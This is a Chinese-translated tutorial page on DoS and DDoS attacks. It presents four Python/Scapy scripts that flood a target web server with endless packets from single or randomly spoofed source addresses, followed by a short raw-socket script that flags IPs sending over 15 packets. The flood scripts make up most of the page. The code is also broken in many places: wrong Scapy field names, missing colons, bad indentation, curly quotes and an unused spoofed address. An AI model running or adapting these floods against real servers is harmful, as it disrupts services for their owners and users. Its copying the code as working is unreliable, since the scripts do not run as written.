Python Penetration Testing 简明教程

DoS & DDoS attack

在本章中,我们将学习有关 DoS 和 DDoS 攻击的内容,以及了解如何检测它们。

随着电子商务行业的蓬勃发展,网络服务器现在易受攻击,并且是黑客的轻松目标。黑客通常会尝试以下两种类型的攻击:

  1. DoS (Denial-of-Service)

  2. DDoS(分布式拒绝服务)

DoS (Denial-of-Service) Attack

拒绝服务 (DoS) 攻击是黑客使网络资源不可用的尝试。它通常会暂时或无限期地中断连接到互联网的主机。这些攻击通常针对托管在任务关键型网络服务器(例如银行、信用卡支付网关)上的服务。

Symptoms of DoS attack

  1. Unusually slow network performance.

  2. 特定网站不可用。

  3. 无法访问任何网站。

  4. 收到的垃圾邮件数量急剧增加。

  5. 长时间拒绝访问网络或任何互联网服务。

  6. 特定网站不可用。

Types of DoS Attack & its Python Implementation

DoS 攻击可以在数据链路层、网络层或应用程序层实施。现在让我们了解不同类型的 DoS 攻击及其在 Python 中的实现:

Single IP single port

使用单个 IP 且来自单个端口号,向网络服务器发送大量的包。这是一种低级攻击,用于检查网络服务器的行为。它在 Python 中的实现借助 Scapy 来完成。以下 Python 脚本将帮助实现单 IP 单端口 DoS 攻击:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)

   print ("packet sent ", i)
      i = i + 1

执行后,上述脚本将询问以下三件事:

  1. 源和目标的 IP 地址。

  2. 源端口号的 IP 地址。

  3. 然后它将会向服务器发送大量数据包,以检查其行为。

Single IP Multiple port

使用单个 IP 和多个端口向 Web 服务器发送大量数据包。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 Python 脚本将帮助实施单 IP 多端口 DoS 攻击−

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)

      print ("packet sent ", i)
         i = i + 1

Multiple IP single port

使用多个 IP 和单个端口号向 Web 服务器发送大量数据包。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 Python 脚本实现单 IP 多端口 DoS 攻击−

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”

   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Multiple IP multiple port

使用多个 IP 和多个端口向 Web 服务器发送大量数据包。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 Python 脚本有助于实施多个 IP 多端口 DoS 攻击−

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d

   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)

      print ("packet sent ", i)
         i = i + 1

DDoS (Distributed Denial-of-Service) Attack

分布式拒绝服务 (DDoS) 攻击是一种通过从多个源生成大量流量来使在线服务或网站不可用的尝试。

与拒绝服务 (DoS) 攻击不同,后者使用一台计算机和一个互联网连接用数据包淹没目标资源,DDoS 攻击使用多台计算机和多个互联网连接,通常在全球分布,被称为僵尸网络。大规模的体积 DDoS 攻击可以产生每秒数十千兆位(甚至数百千兆位)的流量。可在 [role="bare" [role="bare"]https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm 中详细阅读。

Detection of DDoS using Python

实际上,DDoS 攻击有点难以检测,因为你不知道发送流量的主机是假的还是真的。下面给出的 Python 脚本将有助于检测 DDoS 攻击。

首先,让我们导入必要的库−

import socket
import struct

from datetime import datetime

现在,我们将创建一个套接字,就像我们在前面的部分中创建的那样。

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

我们将使用一个空字典−

dict = {}

以下代码行将打开一个文本文件,其中以追加模式包含了 DDoS 攻击的详细信息。

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

借助以下代码行,每当程序运行时都会记录当前时间。

file_txt.writelines(t1)
file_txt.writelines("\n")

现在,我们需要假设来自特定 IP 的命中次数。这里我们假设如果特定 IP 命中超过 15 次,则将会是一次攻击。

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

以下代码行将检查字典中是否存在 IP。如果存在,则将其增加 1。

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

下一行代码用于去除冗余。

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

运行以上脚本后,我们将在文本文件中获得结果。根据脚本,如果某 IP 命中超过 15 次,那么它将打印为已检测到 DDoS 攻击以及该 IP 地址。